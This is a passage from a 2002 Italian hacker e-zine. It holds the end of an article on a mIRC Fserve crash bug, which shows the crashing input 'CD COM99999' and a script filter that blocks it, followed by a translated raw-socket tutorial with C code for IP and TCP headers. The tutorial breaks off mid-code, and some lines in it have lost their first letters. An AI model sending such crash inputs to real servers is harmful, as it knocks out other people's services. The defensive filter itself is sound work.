| $left($2,3) == com ---\ |
| $left($2,3) == lpt ----> Questo invece, verifica se le prime 3 lettere |
| della seconda stringa inserita dal'utente è COM ( o nel secondo caso |
| LPT ) |
| |
| $mid($2,4,1) isnum ----> questo identificatore conterrà il carattere |
| o numero presente nella secconda stringa alla posizione numero 4 |
| |
| halt -----------> non visualizzare e non eseguire il comando |
| |
| QUindi il codice può essere riassunto così: |
| |
| Se le prime tre lettere della seconda parola è uguale a COM e il 4° |
| carattere è un numero, oppure se le prime tre lettere della seconda |
| parola è uguale a LPT è il 4° carattere è un numero allora blocca |
| l'esecuzione del comando. |
| |
| Nel momento in cui l'utente scriverà : CD COM99999 |
| questo pezzò verificherà: ESITO |
| |
| se le prime 3 lettere formano la parola COM ( o lpt ) SI ---\ |
| BLOCCA TESTO |
| se la 4° lettera è un numero SI ---/ |
| |
| |
| Mi sembra di essere stato chiaro, no??? Ovviamente, se masticate un pò |
| di mIRC scripting potrete personalizzare i comandi, cioè ad esempio |
| potete, invece di bloccare il testo, chiudere direttamente la finestra |
| della DCC usando il comando /close -f $nick , così invece di bloccare |
| la scritta, chiuderete direttamente la connessione..oppure un'altra |
| idea è quella di mandargli una bestemmia ai morti dell'utente :))))) |
| ....usate la fantasia..dunque! |
| |
| |
| ------------------------------- CONSIGLI ED INFORMAZIONI ------------ |
| |
| SCUSATEMI SE SCRIVO IN STAMPATELLO, MA VOGLIO CHE LEGGIATE QUESTA |
| PARTE...E SE NON LO FATE SIETE SOLO DEI PATETICI LAMER ! VI CHIEDO |
| SOLO DI NON PROVARE QUESTO "EXPLOIT" SU UTENTI CONNESSI..XKè SE LO |
| FATE SIETE SOLO DEI SEMPLICI BASTARDI!! VI SEMBRA GIUSTO DAR FASTIDIO |
| A QUALCUNO CHE NON CI GUADAGNA NIENTE METTENDO I PROPRIO PROGRAMMI A |
| VOSTA DISPOSIZIONE, E A QUELLA DEGLI ALTRI, FACENDOGLI SALTARE |
| L'Fserve ??? E SE LO FACESSERO A VOI??? PERCIò, COME HO DETTO PRIMA, |
| SE AVETE VOGLIA DI PROVARLO APRITEVI DUE MIRC E FATEVELO IN LOCALE! |
| |
| MESSAGGIO PER I POSSESSORI DI Fserve: RAGAZZI SE SIETE IN POSSESSO DI |
| FSERVE, E SAPETE CHE è BUGGATO, VI CONSIGLIO DI COPIARVI QUEL PEZZO DI |
| CODE NEI REMOTE!! VE LO CONSIGLIO DI CUORE... LA GENTE BASTARDA è |
| OVUNQUE! |
| |
| SPERO DI ESSERVI STATO CHIARO!! |
| |
| --------------------------------------------------------------------- |
| |
| |
| ------------------------------------ RINGRAZIAMENTI ----------------- |
| |
| Allora voglio ringraziare mephisto, zorks e tutti quelli dell'AIDSH |
| che sono tanto bravi, il mio nuovo amico XanTHic`...spero ke la cosa |
| sia reciproca :)) a Fig[a]rO' ( ti raccomando, la sezione consigli è |
| rivolta a te ahahah...skerzo), ad ADvanCed, scusa se ho sbagliato a |
| mettere le lettere minuscole ma non ho i log del tuo nick :)), cmq |
| parioso quel gioco qwerty, poi ringrazio il mio amico NSN, che sta a |
| scuola mia, ma non l'ho mai incontrato ;), ringrazio i ragazzi di #asm |
| (albe, ^spider^, quake, true-love per le serate passate insieme a |
| parlare di ragazze ), a SonGoten, a tutti quelli di #hackmaniaci e |
| #smanettoni..scusate ma siete troppi per listarvi, Net-destroyer e |
| tutti quelli di #veninside...grazie ragazzi |
| |
| (scusate se ho dimenticato qualcuno..ke non me ne voglia...ma ora non |
| mi passa nessuno per la capa) |
| |
| |
| FU

  
CK TO: a tutti i lamer che utilizzeranno sto exploit, a 2 ragazze in |
| particolare....di cui non faccio i nomi..penso che se lo riconoscano |
| di essere BASTARDE DeNTRO, e basta :)) |
| |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| |
| ----------------------------------- CONTATTI ------------------------ |
| |
| Se avete da dirmi qualcosa, complimentarvi, qualke barzelletta, |
| chiamarmi a lavoro :), farmi una chiaveca,criticare,uscire con me ( le |
| ragazze ovviamente :)) ) scrivetemi ad uno di questi indirizzi: |
| |
| |
| edivada@iol.it |
| edivada84@inwind.it |
| ice-man@mojodo.cjb.net |
| |
| Qui sotto allego anche la mia pgp public key |
| |
| |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| Version: PGP for Personal Privacy 5.0 |
| |
| mQGiBDwWZlYRBAD9N88yA6lO8aRgKw4kmP7raPBkfgLCqqDBiF8hvKRgifh7IryZ |
| NoKK41/GY46imQEkSW3hRBdKcWGyEPXNZq+8VHBtUnw2sEMK6riVsHFhWRb63vg0 |
| YjtJgvNLQbx19PUFblsUcKxYZ/EWG+8cRayvV3z9JbSkwGnO2B199VUrAwCg/8ho |
| atdLjJVU3+LD7vbw2qzese0D/0whunhS4nfIhm8utXvZZOlbQGGtc/HO3we1UVdj |
| OFqSKFyxGfjwnKhQPvbW7Bz5PpkGzqsX6TM9kkAMY3BiRmcNjhWp2qPxxDRSKuof |
| lkUK8Ttcvi3Qk7N99KEqsQJseSK2I+NBVLO5G0+oyz2JISyJOCBtwKXE/kjiOJBK |
| Gc/PBACGCmPvc0KiRh7QRmR16Jo3ZQoP/KWR5pWInsstw530d3OXbcOYDxw5CU7G |
| PyYSO6Gx50ZYID3AOjrKUwMoWehg58zz1T2N0B71YD4MEvh1TYKaAT60RdrxQQJd |
| gGRkvHnPJ+zbVwpWKJX6kxgDsynNDxFjgY8HzP9+epLFbDkjHLQmXl9dW2ljZV1b |
| bWFuXVtfXiA8ZWRpdmFkYTg0QGlud2luZC5pdD6JAEsEEBECAAsFAjwWZlYECwMB |
| AgAKCRDVdxhTYMQgHVSbAKCWk90XBQp7IQzdD2tRDp8q/tNlfACePPy34QYaHzH/ |
| b47azhRGHQb29a+5Ag0EPBZmVhAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65 |
| Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09 |
| jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brw |
| v0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiN |
| jrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrK |
| lQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIH/iT2n3VA |
| AgKMm/A+Qnd5fgI2qKpZE5o96B8TtodDdubh3lvtxG/TGjq6caoEcYccEU982nsC |
| ZXDQuaAZpZ9KpAnqCedfEIpWjhdulSS1SwD7kpv2RLJFxQUYFM+QDMAvH8tIrGWi |
| J6038tCDHH3KZeg2j0XF/JmUZSYLDHdqpexYyY6Xcp+S8bhM58FqL45/CH8OMZXM |
| eRz3AiziGc1mZZ7muRzg5CgYCnDi7La99E0P9IVtwUFW6KeJMPw8b69rvL9wiicx |
| m2W711ff8MbcQvOkQqPaeKJYibxnM+cyph9J0XBUE40UylWNGIy60tE7y653zqVL |
| tIJ1oiOQP+i/tpuJAD8DBRg8FmZW1XcYU2DEIB0RAjRvAKDFsS7Ws1NZPLB2Arg9 |
| o6ZDoMk9wACdEG4lEmb/aunHj02hBbCg6yTK/E4= |
| =ad/o |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| PR0GRAMMARE LE REW S0CKET (TRADUZi0NE) [XpTerminator] 0x11/0x1D |
+--------------------------------------------------------------------------+
| |
| -==============================- |
| | Programmare le raw socket | |
| | Nitr0gen | |
| =/____________________________\= |
| | traduzione by XpTerminator | |
| -==============================- |
| |
| Premetto innanzi tutto che questo testo non e` di mia fattura, io ho |
| effettuato la traduzione dalla lingua inglese e delle modifiche ed |
| aggiunte per rendere il testo più chiaro; visto che in lingua |
| italiana non si trovano documenti del genere, ed essendo |
| interessante, ho ritenuto utile effettuarne la traduzione. |
| |
| Exile 2000 International Coding Team |
| (http://www.exile2k.org) |
| Documentation about native raw socket programming |
| All rights reserved Exile Team |
| |
| Free to distribute this text just keep it's integrity |
| Ripping is lame remember this |
| |
| |
| Per domande e commenti: (in english! ;) |
| |
| Nitr0gen |
| nitr0gen@hackersnews.com |
| |
| oppure: (in italiano:) |
| |
| XpTerminator |
| xp_terminator@katamail.com |
| |
| |
| |
| -----[ Prefazione ]--- |
| |
| |
| A differenza di come pensano molte persone, |
| programmare le raw socket non è annoiante ed una |
| perdita di tempo, anzi è una buona esperienza per |
| imparare ed a volte è molto utile. Programmando le |
| raw socket si ha molta più flessibilità rispetto ai |
| programmi che utilizzano socket con librerie standard |
| e quindi diventa facile implementare nuovi protocolli |
| e controllare cosa sta realmente accadendo anche al |
| più basso dei livelli. |
| Costruire pacchetti tramite una libreria è efficiente, |
| ma immagina quanto lo sia tramite una TUA libreria. |
| Non mi trovo qui per spiegare quanto sia figo o |
| potente programmare le raw socket, quindi vado |
| direttamente al dunque. Prima di tutto, voglio |
| avvertire che per poter comprendere al meglio questo |
| testo bisogna avere una buona conoscenza del C e della |
| struttura della rete. |
| Nella prima parte del testo introdurrò l'header ip, |
| l'header tcp, quello udp ed infine quello icmp, ultimo |
| non per importanza. |
| |
| La seconda parte di questa prefazione è dedicata ai |
| lamer: per favore abbiate rispetto dell'autore del |
| testo (Nitr0gen) e non rippate queso testo per vostri |
| scopi! |
| |
| Nitr0gen and Exile 2000 International Coding Team: |
| don't worry! i've only translated your document, |
| and i've riported this! |
| |
| |
| |
| |
| |
| |
| -----[ Indice ]--- |
| |
| |
| |
| |
| [ Header Ip ] |
| - Teoria |
| - Frammentazione |
| - Checksum |
| - Esempi |
| |
| [ Header Tcp ] |
| - Teoria |
| - Esempi |
| |
| [ Header Udp ] |
| - Teoria |
| - Esempi |
| |
| [ Header Icmp ] |
| - Teoria |
| - Esempi |
| |
| [ Implementazione ] |
| |
| [ Conclusioni ] |
| |
| [ Appendice A ] |
| - Strutture e Funzioni |
| - Codici sorgente |
| |
| [ Riferimenti ] |
| |
| [ Ringraziamenti ] |
| |
| |
| |
| |
| [ CAPITOLO 1 ] |
| (HEADER IP) |
| |
| |
| ---[ Teoria |
| |
| |
| Bene, se sei interessato nella programmazione delle |
| raw socket presumo che tu conosca le basi del tcp/ip. |
| L'header IP fa parte del layer di rete della suite di |
| protocolli tcp/ip. Fondamentalmente l'header ip è usato |
| per routare i pacchetti attraverso una rete,come internet |
| una wan o una lan. Il metodo di trasmissione di questo |
| header è inaffidabile poichè non hai garanzia dell'arrivo |
| a destinazione del pacchetto, o meglio, quando invii |
| dei pacchetti, non hai la certezza che questi arrivino a |
| destinazione nel giusto ordine in cui li hai inviati. |
| Prendi per esempio i pacchetti A B. A viene inviato prima |
| di B, ma non è garantito che A prenderà la stessa strada |
| (routing) di B per arrivare a destinazione. Il risultato |
| di ciò è quello che ho detto prima, i pacchetti non |
| vengono ricevuti nello stesso ordine di partenza. Come ho |
| ho detto dalla partenza, questo testo non è un corso di |
| tcp/ip ma un testo sulla programmazione, quindi, mi |
| limiterò alla programmazione. A titolo di informazione, |
| quando costruisci un pacchetto non dimenticare htons() o |
| htonl() per rispettare il giusto ordine dei byte. |
| Dei lettori si staranno sicuramente chiedendo perchè sto |
| dicendo questo, rispondo dicendo che io ho passato un |
| mese per risolvere questo piccolo problema. |
| |
| |
| |
| |
| Questa è una rappresentazione ascii dell'header ip: |
| |
| |
| 0 15-16 31 |
| +-----+-----+-----------+-----------------------+ \ |
| | Ver | IHL | TOS | Total Length | \ |
| | (4) | (4) | (8) | (16 ) | | |
| +-----+-----+-----------+--------+--------------+ | |
| | Identification | Flags | Frag Offset | | |
| | (16) | (3) | (13) | | |
| +-----------+-----------+--------+--------------+ | |
| | TTL | Protocol | Header Checksum | 20 Bytes |
| | (8) | (8) | (16) | | |
| +-----------+-----------+-----------------------+ | |
| | Source Ip Address | | |
| | (32) | | |
| +-----------------------------------------------+ | |
| | Destination Ip Address | | |
| | (32) | / |
| +-----------------------------------------------+ / |
| < Options > |
| > (if any) < |
| +-----------------------------------------------+ |
| > < |
| < Data > |
| > < |
| |
| |
| |
| Version (4 bits): |
| Il campo version è usato per indicare la |
| versione del IP (Internet Protocol), quindi o IpV4 |
| o IpV6. |
| |
| |
| IHL (Internet Header Length, 4 bits): |
| Il campo ihl indica la lunghezza dell'header |
| Ip. Quando non si usano opzioni, il valore di default |
| dovrebbe essere 5. |
| |
| |
| TOS (Type Of Service, 8 bits): |
| Tos è utilizzato per specificare le necessità |
| del servizio. |
| |
| Vi sono 4 opzioni per TOS: |
| |
| *NOME* *Valore esadecimale* |
| |
| 1- Minimize delay 0x10 |
| 2- Maximize throughput 0x08 |
| 3- Maximize reliability 0x04 |
| 4- Minimize monatary cost 0x02 |
| |
| 1: Questa opzione è utilizzata da applicazioni |
| che trasmettono piccole quantità di dati e |
| necessitano di una risposta veloce. |
| |
| 2: Caso opposto: questo è usato da applicazioni |
| che trasmettono grandi quantità di dati. |
| |
| 3: Non ne parlerò in questo testo. |
| |
| 4: Non ne parlerò in questo testo. |
| |
| Dato che TOS è una caratteristica sperimentale |
| dell'ip, non ci dilungheremo su di esso in questo |
| testo. |
| |
| |
| Total Length (8 bits): |
| Questo specifica la grandezza del datagramma, |
| (header + dati). Per esempio: |
| Prendiamo un pacchetto (ip header + tcp header[syn]) |
| senza dati. La grandezza dell'header ip è 20 e quella |
| dell'header tcp anche, quindi il campo tot_len sarà 40. |
| |
| |
| Identification (16 bits): |
| Id è utilizzato per identificare i frammenti. |
| Quando un pacchetto non è frammentato questo campo |
| è inutile. L'Id solitamente aumenta da datagramma a |
| datagramma; ogni frammento ha lo stesso id del |
| datagramma a cui appartiene. |
| |
| |
| Flags (3 bits): |
| Questo campo dell'header ip è utilizzato dalla |
| frammentazione. Ci sono 4 flag: |
| |
| *NOME* *Valore esadecimale* |
| |
| No flags 0x00 |
| More fragment 0x01 |
| Don't fragment 0x02 |
| More and Dont't frag 0x03 |
| |
| More fragment significa che ci sono ancora frammenti |
| dopo questo datagramma, don't fragment dice che il |
| pacchetto non è frammentato. Quando un datagramma è |
| frammentato,l'ultimo frammento non ha mai il flag MF |
| (More Fragment) settato. |
| |
| |
| Fragment Offset (13 bits): |
| Questo è l'offset con il quale il pacchetto |
| è stato calcolato. Il primo datagramma ha offset 0. |
| Questo campo è calcolato a 64 bits. Quando si calcola |
| l'offset, l'ultimo offset sarà uguale a tot_len. |
| |
| |
| TTL (Time To Live, 8 bits): |
| Questo campo specifica quanti hop potrà |
| effettuare il datagramma. Esso è decrementato ogni |
| volta che viene rispedito (durante il routing: ogni |
| router decrementa di 1 questo valore). Quando il TTL |
| raggiunge 0, il datagramma viene ignorato e viene |
| inviato al mittente un messaggio icmp di TIME EXCEED. |
| Questo avviene per evitare che un datagramma giri |
| all'infinito per la rete. |
| |
| |
| Protocol (8 bits): |
| Questo campo specifica il protocollo per il |
| layer di trasmissione. Il valore può essere: |
| |
| *NOME* *Valore esadecimale* |
| |
| IPPROTO_TCP 0x06 |
| IPPROTO_UDP 0x11 |
| IPPROTO_ICMP 0x01 |
| |
| Vi sono anche altri protocolli ma non saranno trattati |
| in questo testo. Per maggiori informazioni osserva il |
| seguente file header che definisce tutte le costanti. |
| '/usr/include/linux/in.h' |
| |
| |
| Header CheckSum (16 bits): |
| Il checksum è utilizzato per verificare |
| l'integrità di un datagramma. Se i dati durante |
| il trasporto si sono corrotti o modificati,esso |
| è in grado di capirlo. Se il checksum non viene |
| specificato nel datagramma, questo viene |
| scartato senza alcun tipo di avvertenza. Dal |
| punto di vista del programmatore ciò risulta |
| annoiante.Osserva l'appendice A per la funzione |
| del checksum ( in_cksum() ). |
| |
| |
| Source Ip (32 bits): |
| L'indirizzo ip dell'host che ha inviato il |
| datagramma. |
| |
| Destination Ip (32 bits): |
| L'indirizzo ip della macchina a cui dovrà |
| essere "recapitato" questo datagramma. |
| |
| |
| Options (Variable): |
| Il campo options non sarà trattato in |
| questo testo. |
| |
| |
| |
| Dal punto di vista della programmazione, costruire |
| un header ip significa semplicemente riempire una struttura. |
| Dato che sto utilizzando Linux, tutti i riferimenti che farò |
| a file di sistema saranno basati su kernel 2.2.13. |
| |
| |
| |
| |
| ---[ Frammentazione |
| |
| |
| In parole povere, la frammentazione avviene |
| quando il MTU (Maximum Transfert Unit) è minore della |
| lunghezza totale del datagramma, quindi, dovremo |
| dividere il datagramma in piccoli pezzi, ed inviarli |
| uno alla volta; quando i pacchetti saranno ricevuti, |
| il datagramma originale sarà ricostruito. |
| Quando effettuiamo la frammentazione,abbiamo bisogno di |
| settare campi specifici dell'header Ip. |
| Il flag MF deve essere settato a tutti i frammenti, |
| tranne l'ultimo.L'offset del primo pacchetto sarà zero. |
| L'Id dovrà essere lo stesso per ogni frammento, per |
| identificare a quale serie di pezzi di datagramma |
| appartiene.Se l'header Ip è modificato anche in un solo |
| frammento il checksum dovrà essere ricalcolato. La |
| lunghezza totale dei frammenti prenderà il valore del |
| MTU. |
| |
| |
| |
| |
| ---[ Checksum |
| |
| |
| Calcolare il checksum di un header non è |
| difficile, osserva l'appendice A per vedere la funzione |
| responsabile di questa operazione. |
| Questo è il prototipo della funzione: |
| |
| unsigned short in_cksum(unsigned short *addr, int len); |
| |
| - unsigned short *addr : E' un puntatore all'header ip. |
| - int len : E' la lunghezza dell'header ip. |
| |
| |
| |
| |
| |
| |
| |
| ---[ Esempi |
| |
| |
| Il nome della sezione dice esplicitamente cosa |
| troverai qui. |
| |
| |
| |
| /*******************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header IP */ |
| /* SENZA FRAMMENTAZIONE */ |
| /* */ |
| /*******************************************************************/ |
| |
| void buildip_nf(){ /*** Funzione che costruisce un Header Ip ***/ |
| |
| struct iphdr *ip; |
| /*** A little step for a man, a big step for human kind ***/ |
| |
| ip = (struct iphdr *) malloc(sizeof(struct iphdr)); |
| /*** Alloca la memoria dinamica ***/ |
| |
| ip->ihl = 5; /*** Lunghezza in byte dell'Header IP ***/ |
| ip->version = 4; /*** Versione del protocollo IP ***/ |
| ip->tos = 0; /*** Sperimentale (Vedi sopra per i dettagli) ***/ |
| ip->tot_len = sizeof(struct iphdr) + 452 /*** Lunghezza totale del ***/ |
| /*** pacchetto ***/ |
| |
| |
| ip->id = htons(getuid()); |
| /*** ID (identification) del pacchetto, inutile nel nostro caso ***/ |
| |
| ip->ttl = 255; /*** Il pacchetto può effettuare |
| 255 hop ***/
|
| ip->protocol = IPPROTO_TCP; /*** Utilizziamo il tcp come protocollo |
| di trasmissione ***/
|
| ip->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente ***/ |
| ip->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione ***/ |
| |
| ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); |
| /*** Checksum ***/ |
| |
| } |
| |
| |
| |
| |
| /*****************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header IP */ |
| /* FRAMMENTAZIONE del pacchetto */ |
| /* in 2 frammenti */ |
| /* MTU = 280 byte */ |
| /* */ |
| /*****************************************************************/ |
| |
| |
| |
| void buildip_f(){ |
| /*** Funzione che costruisce un header IP frammentato ***/ |
| |
| struct iphdr *ipf; |
| |
| ipf = (struct iphdr *) malloc(sizeof(struct iphdr)); |
| |
| /**** PRIMO FRAMMENTO ***/ |
| ipf->ihl = 5; /*** Lunghezza dell'header in 32 bit */ |
| ipf->version = 4; /*** Versione del protocollo IP */ |
| ipf->tos = 0; /*** TOS (Type of service), inutilizzato */ |
| ipf->tot_len = sizeof(struct iphdr) + 256; /* Lunghezza del |
| primo frammento */
|
| ipf->id = htons(1); /*** Per identificare i nostri 2 frammenti */ |
| ipf->ttl = 255; /*** Il datagramma può effettuare 255 hop */ |
| ipf->protocol = IPPROTO_TCP; /*** uso il protocollo TCP */ |
| ipf->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente (localhost) */ |
| ipf->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione |
| (localhost) */
|
| ipf->frag_off = htons(0x2000); /*** Offset 0 e MF */ |
| ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+256); |
| /*** Checksum */ |
| |
| |
| /**** Qui dovremmo inviare il primo frammento ***/ |
| |
| |
| /**** SECONDO FRAMMENTO ***/ |
| ipf->tot_len = sizeof(struct iphdr) + 196; /*** Aggiorno la lunghezza |
| dei datagrammi */
|
| ipf->frag_off = htons(32); /*** Offset del frammento ***/ |
| ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+196); |
| /*** Ricalcoliamo il checksum dato che abbiamo cambiato dei campi */ |
| |
| /**** Qui dovremmo inviare il secondo frammento ***/ |
| |
| } |
| |
| |
| [ CAPITOLO 2 ] |
| (HEADER TCP) |
| |
| |
| |
| |
| ---[ Teoria |
| |
| |
| Diamo ora un'occhiata all'header tcp. Dato |
| he esso fa utilizzo di un metodo di trasmissione |
| ffidabile, prima di effettuare lo streaming dei |
| ati c'è bisogno di creare una connessione. Quindi, |
| os'è una connessione? Con il tcp noi la chiamiamo |
| hree-way-handshake ("stretta di mano" in tre fasi). |
| on il primo passo il client invia al server un |
| acchetto tcp SYN per sincronizzare (SYNchronize) |
| l numero di acknowledgment; con il secondo passo |
| l server "riconosce" (ACKnowledge) il syn, cioè |
| onferma la sua ricezione, tramite un pacchetto |
| YN_ACK. Se il SYN_ACK non è ricevuto dal client lo |
| tato della connessione tcp rimane in SYN_SENT e |
| l client continua l'invio di SYN al server, |
| inchè esso non lo riceverà e quindi confermerà |
| on SYN_ACK.Dopo la conferma dell'avvenuta ricezione |
| el SYN, il client risponde con un ACK per |
| onfermare l'avvenuta ricezione del SYN_ACK. |
| eoricamente una connessione è creata tra due host, |
| a se il server si disconnette prima di ricevere il |
| ostro ultimo pacchetto (ACK), noi crederemo di |
| ssere connessi, ma in realtà non lo siamo. Questo è |
| no dei problemi del tcp. Il Tcp (Transfer control |
| rotocol) come l'Ip ( Internet protocol ) ha un |
| hecksum per il controllo dell'integrità dei dati |
| he fa utilizzo di uno pseudo-header di cui |
| arleremo dopo. Per essere sicuri che un pacchetto |
| rovenga realmente dal source ip specificato nel |
| uo header, il tcp ha aggiunto la funzionalità di un |
| equence number, ciò significa che durante |
| 'handshake, prima il client invia un Seq Number,poi |
| l server effettua l'acknowledgement del SYN con il |
| roprio seq number. Il server attende nel successivo |
| acchetto del client il seq number come specificato |
| el campo ACK dell'ultimo pacchetto inviato. Ciò |
| reviene l'hijacking o lo spoofing di una |
| onnessione da parte di utenti malintenzionati. |
| cco un esempio: |
| |
| Host A < ---- TCP CONNECTION ----> HOST B |
| |
| ^---- HOST X (utente malintenzionato) |
| |
| Se non ci fosse il sequence number, HOST X |
| potrebbe inviare pacchetti a HOST B facendo |
| credere in realtà che questi provenghino da |
| HOST A. Oggi giorno, con la generazione del |
| sequence number ormai casuale questa tecnica è |
| quasi impossibile. |
| |
| uesto protocollo ha ancora altre opzioni in ambito |
| i sicurezza aggiunte a quelle dell'IP, ma non |
| erranno trattate in questo testo. Il Tcp permette |
| noltre un buon managing dei pacchetti in entrata |
| d in uscita. Grazie alla specifica nei pacchetti |
| elle porte sorgente e destinazione, molti processi |
| ossono comunicare contemporaneamente. Tutte queste |
| pzioni, incluse quelle non trattate, però hanno lo |
| vantaggio di diminuire la velocità di trasmissione. |
| i sei mai domandato cosa sia un socket? Il termine |
| ocket nel mondo tcp è usato spesso. Questo è |
| emplicemente un indirizzo ip combinato con un numero |
| i porta, ed una coppia di socket è la combinazione |
| ndirizzo Ip Sorgente + Porta Sorgente + Indirizzo Ip |
| i Destinazione + Porta di Destinazione. |
| |
| Il Tcp ha 6 funzioni principali: |
| |
| |
| URG: Invia dei dati urgenti, cioè con |
| maggiore priorità, all'host di |
| destinazione. |
| |
| ACK: "Acknowledgement" dei dati ricevuti. |
| Come visto sopra. |
| |
| PSH: Invia i dati all'host di destinazione. |
| |
| RST: Resetta una connessione. |
| |
| SYN: Sincronizza il Seq Number. |
| |
| FIN: Nessun altro dato da inviare da parte |
| dell'host. |
| |
| |
| |
| |
| |
| |
| |
| |
| chema dell'header TCP: |
| |
| 15-16 31 |
| -----------------------+-----------------------+ \ |
| Source Port | Destination Port | \ |
| (16b) | (16b) | | |
| -----------------------+-----------------------+ | |
| Sequence Number | | |
| (32b) | | |
| -----------------------------------------------+ | |
| Acknowledgement | | |
| (32b) | | |
| -------+------+--------+-----------------------+ 20 Bytes |
| D_Off | Res | Flags | Windows | | |
| (4b) | (6b) | (6b) | (16b) | | |
| -------+------+--------+-----------------------+ | |
| Checksum | Urgent Pointer | | |
| (16b) | (16b) | | |
| -----------------------+------------+----------+ | |
| Options | Padding | | |
| (24b) | (8b) | / |
| ------------------------------------+----------+ / |
| DATA < |
| > |
| |
| |
| |
| |
| ource Port (16 bits): |
| La porta sorgente del pacchetto. |
| I pacchetti di ritorno saranno ricevuti su |
| questa porta. |
| |
| estination Port (16 bits): |
| La porta di destinazione del |
| pacchetto. Il pacchetto sarà ricevuto su |
| questa porta dall'host di destinazione. |
| |
| equence number (32bits): |
| Il Sequence number è una buona |
| caratteristica della sicurezza del tcp. |
| Quando un pacchetto viene ricevuto, il |
| modulo tcp del kernel verifica se il |
| numero è giusto. Se non lo è, il |
| pacchetto viene scartato. |
| |
| |
| |
| cknowledgment (32 bits): |
| Quando il flag ACK è settato, il |
| valore di questo campo è settato al |
| valore del Seq number che ci si aspetta |
| di ricevere nel prossimo pacchetto da |
| parte dell'altro peer (capo della |
| connessione). |
| |
| |
| ata Offset (4 bits): |
| L'offset dei dati espresso a 32 |
| bit. Se non vi sono opzioni, il valore di |
| default è 5. |
| |
| |
| eserved (6 bits): |
| Riservato per un uso futuro, deve |
| essere settato a 0. |
| |
| lags (6 bits): |
| Ci sono 6 flag possibili nel tcp. |
| Come visto sopra, questi sono: |
| |
| |
| URG: Indicatore di urgenza |
| ACK: Acknowledge |
| PSH: Push |
| RST: Reset |
| SYN: Sincronizza il Seq Number |
| FIN: Nessun altro dato da inviare |
| |
| |
| indows (16 bits): |
| Questo specifica il MSS (maximum |
| segment size) del prossimo pacchetto. Se un |
| pacchetto supera questo valore, esso dovrà |
| essere frammentato. |
| |
| |
| hecksum (16 bits): |
| Il checksum per verificare |
| l'integrità dei dati.Il checksum è calcolato |
| con uno Pseudo-Header che spiegherò. Questa |
| è la struttura, tratta da Tcp/Ip Volume 1 |
| (The protocol) di W. Richard Stevens. Per |
| favore dedica un minuto di silenzio per |
| questo incredibile uomo che è morto, è stato |
| uno straordinario scrittore. |
| |
| Questa è la struttura: |
| |
| struct pseudohdr { |
| unsigned long saddr; |
| unsigned long daddr; |
| char useless; |
| unsigned char protocol; |
| unsigned short length; |
| }; |
| |
| L'header contiene l'indirizzo ip sorgente e |
| destinazione per evitare pacchetti mal-routati |
| (saddr, daddr). Il carattere "useless" esiste |
| solo per rispettare il limite dei 32 bit |
| (per questo "useless" = "inutile"). "protocol" |
| contiene il protocollo, in questo caso |
| IPPROTO_TCP, e "lenght", la lunghezza del |
| pacchetto. |
| |
| Il checksum è calcolato come per l'header Ip: |
| |
| |
| -------------- CUT HERE ----------------- |
| |
| #define PSEUDO sizeof(struct pseudohdr) |
| #define TCPHDR sizeof(struct tcphdr) |
| |
| struct pseudohdr pseudo; |
| struct tcphdr tcp; |
| |
| pseudo.saddr = inet_addr("127.0.0.1"); |
| pseudo.daddr = inet_addr("127.0.0.1"); |
| pseudo.useless = htons(0); |
| pseudo.protocol = IPPROTO_TCP; |
| pseudo.length = TCPHDR + data; |
| |
| tcp->check = in_cksum((unsigned short *)&pseudo, PSEUDO+TCPHDR); |
| |
| -------------- CUT HERE ---------------- |
| |
| |
| |
| Urgent Pointer (16 bits): |
| Questo campo è significante solo se il flag |
| URG è settato. Esso punta ad un'area dati e ciò |
| rende i dati urgenti dal punto di vista dei peer. |
| |
| |
| Options (24 bits): |
| Il campo options non verrà trattato in |
| questo testo. |
| |
| |
| Padding (8 bits): |
| Il campo padding è riempito con 0. Questo |
| avviene per rispettare il limite dei 32 bit: esso |
| parte con 32 bit e finisce con 32 bit. |
| |
| |
| ---[ Esempi |
| |
| |
| |
| /******************************************************************/ |
| /* Exile 2000 International Coding Team */ |
| /* (http://www.exile2k.org) */ |
| /* All rights reserved Exile Team */ |
| /* Copyright 2000 (C) Nitr0gen */ |
| /* */ |
| /* Questa funzione costruisce un header TCP */ |
| /* col flag SYN settato */ |
| /* e richiede una connessione telnet su localhost */ |
| /* */ |
| /******************************************************************/ |
| |
| |
| |
| |
| #define TCPHDR sizeof(struct tcphdr) |
| #define PSEUHDR sizeof(struct iphdr) |
| |
| |
| void build_tcp(){ |
| |
| struct tcphdr *tcp; /*** Header tcp ***/

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT